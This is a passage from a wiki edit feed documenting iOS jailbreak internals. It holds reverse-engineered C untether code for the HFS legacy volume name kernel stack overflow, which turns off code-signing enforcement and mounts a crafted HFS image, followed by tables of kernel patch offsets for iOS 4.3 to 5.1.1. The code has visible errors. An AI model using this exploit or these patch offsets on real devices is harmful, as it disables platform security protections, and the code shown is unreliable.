*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45232</id>
		<title>HFS Legacy Volume Name Stack Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&amp;diff=45232"/>
		<updated>2015-03-28T14:12:35Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed &amp;quot;feedface,&amp;quot;[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].&lt;br /&gt;
&lt;br /&gt;
== Exploiting the Kernel Bug ==&lt;br /&gt;
&lt;br /&gt;
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb&lt;br /&gt;
to take control of PC register and do basically whatever you want, in that case, they used a function called&lt;br /&gt;
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what&lt;br /&gt;
the untether looked like. &lt;br /&gt;
&lt;br /&gt;
  int mnt_our_hfs()&lt;br /&gt;
  {&lt;br /&gt;
	struct hfs_mount_args i;&lt;br /&gt;
	bzero(i, sizeof(i));&lt;br /&gt;
	i.fspec = (int)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
	i.hfs_uid = args.hfs_gid = 99;&lt;br /&gt;
	i.hfs_mask = 0x1C5;&lt;br /&gt;
	puts(&amp;quot;[+]Triggering the kernel exploit&amp;quot;);&lt;br /&gt;
	mount(&amp;quot;hfs&amp;quot;, &amp;quot;mnt/&amp;quot;, MNT_RDONLY, i);&lt;br /&gt;
	return puts(&amp;quot;[+] Payload was successful&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  int prep_vn()&lt;br /&gt;
  {&lt;br /&gt;
	vn_ioctl vn;&lt;br /&gt;
	int i = open(&amp;quot;/dev/vn0&amp;quot;, O_RDONLY, 0);&lt;br /&gt;
	if(i &amp;lt; 0){&lt;br /&gt;
		puts(&amp;quot;[-]Can't open /dev/vn0&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
	ioctl(i, VNIOCDETACH, &amp;amp;vn);&lt;br /&gt;
	vn.vn_file = (int)&amp;quot;/usr/lib/hfs_mdb&amp;quot;;&lt;br /&gt;
	vn.vn_control = vncontrol_readwrite_io_e;&lt;br /&gt;
	if(ioctl(i, VNIOCATTACH, &amp;amp;vn) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		puts(&amp;quot;[-]Coudn't attach to /dev/vn0&amp;quot;)''&lt;br /&gt;
		close(i);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
 	return close(1);&lt;br /&gt;
  }&lt;br /&gt;
  int main(int argc, char const *argv[])&lt;br /&gt;
  {&lt;br /&gt;
	int result;&lt;br /&gt;
	struct stat i;&lt;br /&gt;
	uint32_t zero = 0, one = 1;&lt;br /&gt;
	sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t));&lt;br /&gt;
	sysctlbyname(&amp;quot;vm.cs_validation&amp;quot;, 0, 0, &amp;amp;zero, sizeof(uint32_t))&lt;br /&gt;
	prep_vn();&lt;br /&gt;
	i.st_uid = 0;&lt;br /&gt;
	i.st_gid = 0;&lt;br /&gt;
	i.st_rdev = 0;&lt;br /&gt;
	i.st_atimespec.tv_nsec = 0;&lt;br /&gt;
	i.st_atimespec.tv_sec = 0;&lt;br /&gt;
	i.st_mtimespec.tv_nsec = 0;&lt;br /&gt;
	i.st_mtimespec.tv_sec = 0;&lt;br /&gt;
	i.st_ctimespec.tv_sec = 0;&lt;br /&gt;
	i.st_dev = (dev_t)&amp;quot;/dev/vn0&amp;quot;;&lt;br /&gt;
	i.st_ino = 99;&lt;br /&gt;
	i.st_uid = 453;&lt;br /&gt;
	puts(&amp;quot;[+]Trigger kernel exploit&amp;quot;);&lt;br /&gt;
	mnt_our_hfs();&lt;br /&gt;
	sysctlbyname(&amp;quot;security.mac.vnode_enforce&amp;quot;, 0, 0, &amp;amp;one, sizeof(uint32_t));&lt;br /&gt;
	patch_kernel();&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
  }&lt;br /&gt;
== Credit ==&lt;br /&gt;
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]&lt;br /&gt;
&lt;br /&gt;
== Sources for information ==&lt;br /&gt;
*[http://www.twitlonger.com/show/8jep67 TwitLonger]&lt;br /&gt;
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])&lt;br /&gt;
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Kernel_Patches&amp;diff=45231</id>
		<title>Kernel Patches</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Kernel_Patches&amp;diff=45231"/>
		<updated>2015-03-28T02:35:36Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;For the patches applied together with a jailbreak, most groups rely on a list of patches generated by [[comex]]. See https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c&lt;br /&gt;
&lt;br /&gt;
See also [[saurik]]'s comment for a list of &amp;quot;the 'best practice' patches that jailbreaks install by default&amp;quot; on [https://news.ycombinator.com/item?id=4128635 ycombinator].&lt;br /&gt;
&lt;br /&gt;
==Kernel Offsets==&lt;br /&gt;
(Initial list copied from [[Unthredera1n]] source code.)&lt;br /&gt;
&lt;br /&gt;
=== Offsets ===&lt;br /&gt;
==== iOS 4.3.4 - 8K2 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_AMFI_BINARY_CACHE&lt;br /&gt;
| 0x80355394&lt;br /&gt;
| 0x80706394&lt;br /&gt;
| 0x80618394&lt;br /&gt;
| 0x80688394&lt;br /&gt;
| 0x80759394&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT_DISABLE&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_DEBUG_ENABLED&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PROC_ENFORCE&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SANDBOX&lt;br /&gt;
| 0x80366CA6&lt;br /&gt;
| 0x807EACA6&lt;br /&gt;
| 0x80939CA6&lt;br /&gt;
| 0x80809CA6&lt;br /&gt;
| 0x80966CA6&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_MAP_ENTER&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_MAP_PROTECT&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 4.3.5 - 8L1 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_AMFI_BINARY_CACHE&lt;br /&gt;
| 0x80355394&lt;br /&gt;
| 0x80706394&lt;br /&gt;
| 0x80618394&lt;br /&gt;
| 0x80688394&lt;br /&gt;
| 0x80759394&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT_DISABLE&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
| 0x8027EB5C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_DEBUG_ENABLED&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
| 0x802D427C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
| 0x80063504&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
| 0x800636F4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
| 0x801CBE65&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
| 0x8027F304&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PROC_ENFORCE&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
| 0x8029C1E4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SANDBOX&lt;br /&gt;
| 0x80366CA6&lt;br /&gt;
| 0x807EACA6&lt;br /&gt;
| 0x80939CA6&lt;br /&gt;
| 0x80809CA6&lt;br /&gt;
| 0x80966CA6&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
| 0x802926EC&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
| 0x8018246D&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
| 0x801A7DF6&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_MAP_ENTER&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
| 0x80043FC8&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_MAP_PROTECT&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
| 0x8004115E&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 5.0 - 9A334 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
! [[N92ap|n92ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
| 0x80203EDD&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PE_DEBUGGER&lt;br /&gt;
| 0x80241704&lt;br /&gt;
| 0x80241700&lt;br /&gt;
| 0x80241704&lt;br /&gt;
| 0x80241700&lt;br /&gt;
| 0x80241704&lt;br /&gt;
| 0x80241704&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
| 0x801B2F79&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID0&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
| 0x801DFAA4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_ENTER&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 5.0.1 - 9A405 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
! [[N92ap|n92ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
| 0x80045738&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
| 0x800719C4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
| 0x80071AC4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
| 0x80203F7D&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PE_DEBUGGER&lt;br /&gt;
| 0x802417A4&lt;br /&gt;
| 0x802417A0&lt;br /&gt;
| 0x802417A4&lt;br /&gt;
| 0x802417A0&lt;br /&gt;
| 0x802417A4&lt;br /&gt;
| 0x802417A4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
| 0x801B3015&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID0&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
| 0x801DFB40&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_ENTER&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
| 0x800497D4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 5.1 - 9B176 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
! [[N92ap|n92ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_AMFI&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 0x805D6718&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_AMFI_KILL&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 0x805D62F2&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
| 0x802BAB84&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PE_DEBUGGER&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x80242208&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x80242208&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SANDBOX&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 0x805EE61E&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
| 0x802CCBB0&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID0&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_ENTER&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 5.1.1 - 9B206 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[K48ap|k48ap]]&lt;br /&gt;
! [[N18ap|n18ap]]&lt;br /&gt;
! [[N81ap|n81ap]]&lt;br /&gt;
! [[N88ap|n88ap]]&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
! [[N92ap|n92ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
| 0x80045874&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
| 0x80072204&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
| 0x80072304&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PE_DEBUGGER&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x80242208&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x80242208&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
